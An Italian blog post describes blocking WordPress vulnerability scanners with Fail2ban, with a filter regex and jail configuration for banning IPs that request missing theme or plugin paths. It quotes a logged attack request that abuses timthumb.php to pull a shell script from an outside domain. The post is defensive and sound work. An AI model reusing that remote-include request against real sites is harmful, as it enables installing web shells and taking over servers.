Come molti siti basati su WordPress, anche questo subisce un sacco di attacchi.
Fino a pochi giorni fa gli unici sistemi di difesa erano dei plugin come Secure WordPress che nascondono informazioni utili a chi vuole fare un attacco, sia esso mirato o scripted.
Di recente sono usciti scanner come WPScan che non solo portano un attacco a forza bruta contro il sito, ma rieschiano anche di creare dei DoS totali o parziali a causa del sovraccarico a cui sottopongono il sistema.
Per limitare il danno degli scanner che cercano le vulnerabilità note dei plugin o dei temi di WordPress ho deciso di utilizzare Fail2ban, un tool molto versatile che permette di eseguire operazioni (tipicamente il blocco a livello di firewall) se vengono soddisfatte delle espressioni regolari applicate alle righe dei log.
Un esempio di riga di Apache di un tentativo di sfruttare la vulnerabilità di un tema è questo:
176.9.43.251 - - [01/Jan/2012:23:22:59 +0100] "GET /wp-content/themes/PureType/functions/timthumb.php?src=http://wordpress.com.framarservices.com/.mods/sh.php HTTP/1.1" 404 17050 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)"
mentre questo è un esempio di come l’attaccante cerchi di capire se sia attivo o installato un tema:
190.183.17.6 - - [01/Jan/2012:22:47:07 +0100] "GET /wp-content/themes/eGallery/style.css HTTP/1.1" 404 16977 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"
Come si può vedere, quelle righe sono caratterizzate da richieste a una sottodirectory di /wp-content/themes/
che dà un errore permanente di documento non trovato (404).
Volendo fare un filtro per Fail2ban che intercetti queste chiamate e quelle analoghe per i plugin, è sufficiente creare un file /etc/fail2ban/filter.d/apache-wp.conf
con questo contenuto:
[Definition] failregex = ^<HOST>\s-\s-.*"GET /wp-content/themes/.* 404 .*" ^<HOST>\s-\s-.*"GET /wp-content/plugins/.* 404 .*" ignoreregex =
e quindi mettere in /etc/fail2ban/jail.conf
questo testo, ipotizzando di avere iptables che protegge il server:
[apache-wp] enabled = true filter = apache-wp action = iptables[name=Apache-WP, port=80] sendmail-whois[name=Apache-WP, dest=destinatario@domin.io] logpath = /percorso/del/file/access_log bantime = 6000 maxretry = 8
Ironia della sorte, appena ho attivato questa regola è stato bloccato immediatamente un IP che stava tentando di fare una scansione di skin installate.
In 36 ore questo filtro ha già bloccato una dozzina di simpaticoni.
Lascia un commento